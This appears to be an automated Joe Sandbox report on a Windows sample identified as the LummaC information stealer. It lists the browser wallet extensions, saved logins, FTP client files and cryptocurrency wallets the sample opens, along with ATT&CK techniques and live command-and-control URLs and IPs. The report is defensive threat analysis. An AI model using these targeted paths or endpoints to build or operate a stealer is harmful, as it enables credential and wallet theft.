Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2192234962.00000000029FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2192860867.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2192395641.0000000002A01000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2251312995.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6508, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9fc2000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f0e000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9eb4000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.BitLockerToGo.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f0e000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f68000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f68000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f0e000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f0e000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f68000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f68000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740451974.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	3 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
External2.4.exe1.exe	53%	Virustotal		Browse
External2.4.exe1.exe	45%	ReversingLabs	Win32.Spyware.Lummastealer
External2.4.exe1.exe	100%	Avira	TR/AVI.Agent.mbnux

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://astralconnec.icu/DPowkodr	100%	Avira URL Cloud	malware
https://astralconnec.icu/DPowkoS	100%	Avira URL Cloud	malware
https://astralconnec.icu/DPowko	100%	Avira URL Cloud	malware
https://astralconnec.icu:443/DPowkoq6	100%	Avira URL Cloud	malware
https://astralconnec.icu/DPowkod	100%	Avira URL Cloud	malware
https://astralconnec.icu/DPowkoT	100%	Avira URL Cloud	malware
https://astralconnec.icu:443/DPowko	100%	Avira URL Cloud	malware
https://astralconnec.icu:443/DPowkoZ6	100%	Avira URL Cloud	malware
https://web.telegram.orgX-Frame-OptionsALLOW-FROM	0%	Avira URL Cloud	safe
https://astralconnec.icu/DPowkoh	100%	Avira URL Cloud	malware
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=50f60ad0f8aae032d3_669834293493	0%	Avira URL Cloud	safe
https://astralconnec.icu/F	100%	Avira URL Cloud	malware
https://astralconnec.icu/DPowkoo	100%	Avira URL Cloud	malware
https://astralconnec.icu:443/DPowkot6	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high
astralconnec.icu	104.21.77.86	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://astralconnec.icu/DPowko	false	Avira URL Cloud: malware	unknown
https://t.me/asdawfq	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://t.me/	BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://astralconnec.icu:443/DPowkoq6	BitLockerToGo.exe, 00000003.00000003.2191599242.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191541472.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190915583.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251025165.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190316370.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155750664.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251707462.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155716235.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255267647.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191243501.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190615035.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155940610.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189605039.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190011888.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org	BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1965813823.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://astralconnec.icu/DPowkodr	BitLockerToGo.exe, 00000003.00000003.2124619777.0000000002A49000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://astralconnec.icu/DPowkoT	BitLockerToGo.exe, 00000003.00000003.2724821311.0000000002A17000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783527524.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2725036828.0000000002A1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://astralconnec.icu/DPowkoS	BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://astralconnec.icu:443/DPowko	BitLockerToGo.exe, 00000003.00000003.2191599242.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275531521.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191541472.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190915583.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251025165.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190316370.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251707462.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255267647.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191243501.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190615035.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189605039.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190011888.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://astralconnec.icu/DPowkod	BitLockerToGo.exe, 00000003.00000003.2275696801.0000000002A0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275411375.0000000002A0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/E	BitLockerToGo.exe, 00000003.00000003.1966124627.0000000002984000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://astralconnec.icu:443/DPowkoZ6	BitLockerToGo.exe, 00000003.00000003.2275531521.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155255354.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://astralconnec.icu/DPowkoh	BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web.telegram.orgX-Frame-OptionsALLOW-FROM	BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20R	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://astralconnec.icu/DPowkoo	BitLockerToGo.exe, 00000003.00000003.2275696801.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275411375.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://astralconnec.icu/F	BitLockerToGo.exe, 00000003.00000003.2724821311.0000000002984000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783325933.0000000002984000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=50f60ad0f8aae032d3_669834293493	BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://astralconnec.icu:443/DPowkot6	BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.77.86	astralconnec.icu	United States		13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633711
Start date and time:	2025-03-10 15:31:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	External2.4.exe1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 39 Number of non-executed functions: 122
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.svc.static.microsoft, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target External2.4.exe1.exe, PID 6920 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:34:06	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.77.86	http://unicobag.net/	Get hash	malicious	Unknown	Browse	unicobag.net/
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
